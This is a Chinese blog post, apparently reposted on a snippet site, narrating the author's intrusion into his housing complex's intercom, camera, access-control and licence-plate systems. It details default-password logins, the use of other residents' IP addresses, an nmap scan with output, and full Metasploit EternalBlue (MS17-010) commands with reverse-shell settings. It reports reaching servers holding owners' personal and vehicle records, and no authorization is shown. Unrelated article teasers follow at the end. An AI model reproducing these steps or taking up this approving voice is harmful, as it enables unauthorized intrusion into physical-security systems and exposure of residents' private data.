我是如何一步一步搞定小区的安防系统(代码片段)

Oran9e Oran9e     2022-11-17     224

关键词:

前言

博主从小就是一个喜欢把事情简单化的男人,但是现实总是在不经意间给你太多的惊喜,比如不停的搬家。

博主从大学毕业到现在前前后后凑足了10次搬家运动,终于在第10次搬家的时候搬进了真正属于自己的房子。

15年底趁着房价最低的时候捡了个漏,一咬牙买下一套两房半小居室,17年交房装修,终于在18年初计划搬进去住,博主我终于再也不用搬家了,心情愉悦,住进去之后就开始忙乎各种琐事,所以这几个月是非常的繁忙,博客也更得少,不过内容都在笔记里面,慢慢更。

博主所购的小区对自己的智能化系统宣传的很到位,所以闲下来的时候博主我就对小区的安防系统进行一次简单的渗透,轻松拿下各种安防系统,这篇文章就来详细的说明一下。

准备

开始之前,博主需要对环境进行一个简单的描述,以便大家能够在脑海中脑补一下整个渗透测试的过程,算是博主在线下渗透的一个例子吧,往后还有对整个商场各种店铺各种的渗透过程,都会一一讲解。

好了,废话就不多说了,咱们既然是对网络系统进行渗透测试,自然是得有一个入口,那这个入口在哪找呢?

大家都知道,一般小区这种内部的网络都是不直接连接到外网的,如果连那也是做了隔离,单独有一个跳板来做转发,这样相对比较安全,但是正常情况都是没外网的,这种局域网系统有两个突出的特点。

第一点就是维护人员过分的信任了内网的机器,认为只要不连接外网就基本上没事,高枕无忧,真是图样图森破。

第二点就是没有安全防护软件,就算有,那也是病毒特征库千百年不会更新,跟摆设一样,没有外网更新个毛线,这一点后面有机器可以验证。

所以具备这两个特点的内部局域网是非常脆弱的,只要找到一个入口,基本上整个网络就game over了,这个入口就非常的好找了。

众所周知,现在的小区都是家家户户安装了一个可视对讲机,这玩意有时候挺好用,比如有客人来了,楼下大门门禁可以用这玩意远程开门,可以语音对讲,可以看到对方的脸,还可以录音录像,不仅如此,还能跟家里的烟雾报警器连起来,发生火灾直接通知物业并发出警报,还可以呼叫其他住户来一个免费的局域网语音聊天,功能可以说是相当丰富了。

你猜的没错,咱们整个渗透测试过程就从这个设备开始,先来看看咱们这个厉害的可视对讲机长什么样

技术分享图片

通过缺省弱口令进入工程模式,拿到ip地址,网关还有服务器地址

技术分享图片
技术分享图片

拆下对讲机

技术分享图片

我擦嘞,这网线也太短了吧,上工具

技术分享图片
技术分享图片

把网线进行延长方便接交换机、路由器、笔记本之类的设备,最后确认下通讯是否正确

技术分享图片

基本准备工作搞定之后就开始进行入侵渗透了。

扫描

根据之前撸光猫内网的经验,这里的IP地址肯定是固定的,而且跟住户号是绑定的,如果使用自己的iP地址进行测试,万一出啥问题那不是非常的尴尬,既然现在很多业主都还没有入住,那么IP地址池也有很多的空闲,就使用其他住户的IP地址吧,只要不冲突就行,说干就干,上装备:

一个充电宝、一个路由器、一台笔记本

技术分享图片
技术分享图片
技术分享图片

通电后设置路由器的固定IP

技术分享图片

这样笔记本通过无线wifi就可以对IP段进行扫描了,我这使用的扫描软件是Angry IP Scanner,图形界面用起来很爽,而且速度也快

技术分享图片

对192.165.0.1/16进行扫描发现存活主机1256个,为了对IP地址快速分类,将存活的IP地址全部导出,编写python脚本对ip的http响应头进行分类,

最终分为下面的这几类:

第一类

mini_httpd/1.19 19dec2003

这一类机器是所有的门禁机,包含了住户家里的对讲机,楼栋大堂的门禁机,车库电梯的门禁机,小区大门的门禁机,通过ip地址以及admin / 123456弱口令可以远程控制,同时telnet也可以连接,管理页面功能很全,包括修改密码,控制开门时间,控制门禁机密码,呼叫住户,呼叫物业中心,恢复出厂设置等等,功能丰富,界面如下

技术分享图片
技术分享图片

第二类

DNVRS-Webs
Hikvision-webs/ 
App-webs/    

这三种都是海康威视的监控探头,登录界面有以下几种

技术分享图片
技术分享图片
技术分享图片

只有中间那种可以无限次输错密码进行爆破,其他两种都是输错五次就锁定

第三类

Net Keybord-Webs

这是一个网络键盘,通常用于操作监控的云台转动,比如球机的操作杆,登录界面

技术分享图片

密码输错6次就锁定。

第四类

Boa/0.94.13

这个就有意思了,这是车牌识别系统,车辆入库的时候进行车牌识别,拍照存储的机器,也是全部admin admin弱口令直接登录,里面存储了些啥就不多说了,放两张图大家随意感受下

技术分享图片
技术分享图片
技术分享图片

通过对这几种设备的归类扫描,最终确定了几台windows服务器

192.165.15.174
192.165.15.177
192.165.15.190
192.165.15.200
192.165.30.2

使用Nmap扫描结果如下

# Nmap 7.70 scan initiated Fri May 18 23:51:30 2018 as: nmap -iL something_ip.txt -oN scaned.txt -T4 --open
Nmap scan report for 192.165.15.174
Host is up (0.063s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
2383/tcp  open  ms-olap4
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown

Nmap scan report for 192.165.15.190
Host is up (0.046s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown

Nmap scan report for 192.165.15.200
Host is up (0.030s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Nmap scan report for 192.165.30.2
Host is up (0.064s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

# Nmap done at Fri May 18 23:51:46 2018 -- 5 IP addresses (4 hosts up) scanned in 16.25 seconds

 

很明显,四台机器都开了445端口,其中 192.165.15.174 开了1433端口,明显是sql server数据库,192.165.30.2还开了3389,这台机器是在门禁机里面见过,是门禁系统的服务器。

下面就重点对这几台机器入手,使用msf扫描下看是不是都存在smb漏洞(ms17_010),这漏洞在局域网真的超级好用,扫描截图

技术分享图片

发现只有192.165.15.174 不存在ms17_010,其他三台都存在,操作系统分别是

192.165.15.190 win7 sp1 x86

192.165.15.200 win7 sp1 x64

192.165.30.2 win7 sp1 x86

现在目标就非常明确了,但是有个问题,msf自带的利用模块只针对x64版本的操作系统,对于x86版本的系统只能使用其他工具,emmmmm....

一阵思考之后,博主决定先搞定那台64位win7,为了能够正常的反弹shell回来,我把路由器改成桥接模式,本机电脑设置固定IP,这样我的机器就跟目标机器处于相同网络拓扑,反弹自然无压力

技术分享图片

so...

msf的用法我这里就不多说了,如果真不知道,可以留言...给出一张run vnc的截图,拿下监控系统

技术分享图片
技术分享图片
技术分享图片

有趣的是这台机器上居然安装了360安全卫士...

注意看上面一张图的那个监控室,管理员面前有三台机器,所以另外两台我下一步就要搞定。

上面说64位win7已经拿下,现在搞定32位机器,使用 https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit 这里的Ruby脚本即可,需要注意的是如果本机是kali 64位的需要安装 wine32,安装方法是

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

而且全程操作需要在root下面,安装完wine32后执行一下 wine32 cmd.exe 这样会自动在/root下面创建.wine目录,这个目录msf会用到

使用 

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

将脚本克隆到本地,然后把目录下的deps 目录和rb文件复制到msf的modules路径下,这样既可以使用了(PS:我这里只复制了rb脚本,deps没有复制过去所以命令不太一样),具体命令如下

msf > use  exploit/windows/smb/eternalblue_doublepulsar
msf exploit(windows/smb/eternalblue_doublepulsar) > set ETERNALBLUEPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
ETERNALBLUEPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set DOUBLEPULSARPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
DOUBLEPULSARPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT  wlms.exe
PROCESSINJECT => wlms.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86) 
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)


msf exploit(windows/smb/eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost
set rhost  
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.165.15.190
rhost => 192.165.15.190
msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.165.7.11
lhost => 192.165.7.11
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit

不出意外的话攻击就成功了,给出攻击成功的截图。

第一个是门禁系统,没装杀毒软件,就只有一些门禁卡管理软件

技术分享图片

第二个系统是车辆管理系统,车辆出入库时候用的

技术分享图片

 

总结

好了,至此,博主对小区的安防系统进行了简单的渗透测试,成功拿下关键系统,其中在服务器中还发现了大量的敏感文件,包括业主的个人信息,车辆信息,车辆出入登记信息等等,难怪说各种骚扰电话,这简直要分分钟泄露。

后记

安全是一个整体,千里之堤溃于蚁穴,下一次把门禁卡的复制破解还有自动控制升降杠的综合在一起再写一篇。

 

 

原文链接(https://www.92ez.com/?action=show&id=23469)

jumpservice一步一步安装(代码片段)

一步一步安装(CentOS)本文档旨在帮助用户了解各组件之间的关系,生产环境部署建议参考 进阶安装文档云服务器快速部署参考 极速安装安装过程中遇到问题可参考 安装过程中常见的问题测试推荐环境CPU:64位双核处理器... 查看详情

一步一步用c语言写一个简单的猜数字游戏(代码片段)

目录1.猜数字游戏的运行逻辑    1.先打印出菜单供用户选择    2.构建游戏的逻辑        2.1创建并调用一个GAME函数           2.2系统出一个随机数        2.3用户输入数据,判断数据对错2.使用到的函数   ... 查看详情

linux一步一步学linux——domainname命令(172)(代码片段)

00.目录文章目录00.目录01.命令概述02.命令格式03.常用选项04.参考示例05.附录01.命令概述domainname命令用于显示和设置系统的NIS域名。。如果不指定参数domainname命令则显示当前NIS域的名称,一个域通常包含同一管理器下的一组... 查看详情

linux一步一步学linux——dnsdomainname命令(174)(代码片段)

00.目录文章目录00.目录01.命令概述02.命令格式03.常用选项04.参考示例05.附录01.命令概述dnsdomainname命令用于定义DNS系统中FQDN名称中的域名。dnsdomainname=hostname-d02.命令格式用法:dnsdomainname[-v]03.常用选项--help 显示帮助文档--ve... 查看详情

vue一步一步带你封装一个按钮组件(代码片段)

...我们直接看一下代码显示首先是今天有一个学妹过来问我如何封装子组件#实现效果首先这个组件是基于eleemnt-ui进行封装的我们看一眼实现效果 有了实现效果之后我们一起来看看他的父子组件有了实现效果之后我们一起来看... 查看详情

⌈linux_感受系统美学⌋一步一步迈向系统底层-寻觅linux奥秘,探寻linux下权限管理&周边属性(代码片段)

💛前情提要💛本章节是Linux操作系统的解压缩操作&shell外壳程序&权限相关概念及其操作的相关知识~接下来我们即将进入一个全新的空间,对操作系统(系统层面)等相关知识有一个全新的视角~以下的... 查看详情

springboot+vue单页完整版增删改查练习(学校+老师的简单系统)(一步一步详教)(代码片段)

Springboot+Vue完整版增删改查练习一、需求介绍二、搭建后端环境1.1创建项目1.2导入Pom文件三、前端项目创建数据库准备需求一、显示首页需求2:学校列表前端显示后端编写需求3:添加学校前端编写后端编写需求4:... 查看详情

一步一步创建自己的composer包(代码片段)

构建之前申请github账号,并建好一个repositories。用github登录packageList.创建包初始化仓库mkdir-p/www/plancd/www/planecho"#plan">>README.mdgitinitgitaddREADME.mdgitcommit-m"firstcommit"gitremoteaddorigin[email protect 查看详情

贪吃蛇--[纯c实现]--[一步一步的讲解]--有音乐(代码片段)

目录一、游戏说明1.1游戏按键说明1.2计分系统二、游戏运行2.1游戏效果展示2.2一个报错的纠正 2.3 游戏代码三、游戏框架构建3.1游戏界面的大小3.2蛇头和蛇身3.2.1蛇头3.2.2蛇身3.3标记游戏区3.3.1存储游戏区的各个位置是什么3.3.2用... 查看详情

一步一步安装jumpserver(ubuntu)(代码片段)

环境系统:Ubuntu16.04IP:192.168.244.144数据库:mysql版本大于等于5.6mariadb版本大于等于5.5.6测试推荐硬件CPU:64位双核处理器内存:4GDDR3一.准备Python3和Python虚拟环境1.1安装依赖包$apt-getupdate&&apt-get-yupgrade$apt-get-yinstallwgetgcclibffi-de 查看详情

一步一步编写avl树(代码片段)

第一步:定义结构体typedefstructNodeintd;//datainth=1;//heightstructNode*l=NULL;structNode*r=NULL;Node(intd=0):d(d)Node;这个结构体和常规的二叉树结构体很相似。但是不同的是多了个属性“h”(height)。用这个属性来记录结点的高度,叶子结点为1... 查看详情

从零开始带你一步一步使用yolov3训练自己的数据(代码片段)

...标检测(ObjectDection)算法。今天给大家介绍一下如何一步一步使用Y 查看详情

markdown一步一步地在xcode中创建一个好的项目环境(代码片段)

查看详情

从零开始带你一步一步使用yolov3测试自己的数据(代码片段)

...你一步一步使用YOLOv3训练自己的数据我给大家详细介绍了如何使用YOLOv3模型来训练自己的数据集。训练部分完成 查看详情

一步一步学习jni(代码片段)

本文来自网易云社区作者:孙有军前言本篇的主要目的就是JNI开发入门,使大家对JNI开发流程有一个大致的了解,后续再进行深入学习。JNI不是Android特有的,JNI是JavaNativeInterface单词首字母的缩写,就是指用C或者C++开发的接口。... 查看详情

一步一步学习jni(代码片段)

本文来自网易云社区作者:孙有军前言本篇的主要目的就是JNI开发入门,使大家对JNI开发流程有一个大致的了解,后续再进行深入学习。JNI不是Android特有的,JNI是JavaNativeInterface单词首字母的缩写,就是指用C或者C++开发的接口。... 查看详情

一步一步实现混合驱动自动化测试框架的搭建(代码片段)

一步一步实现混合驱动自动化测试框架的搭建实现功能:登录126邮箱,添加联系人,然后发送邮件,带附件 数据驱动框架结构:Action:   封装的操作元素的函数,如login,添加联系人。。。conf:日志配置文件定位... 查看详情

ganstepbystep(一步一步学习gan)(代码片段)

...pByStep心血来潮GSBS,顾名思义,我希望我自己能够一步一步的学习GAN。GAN又名生成对抗网络,是最近几年很热门的一种无监督算法,他能生成出非常逼真的照片,图像甚至视频。GAN是一个图像的全新的领域࿰... 查看详情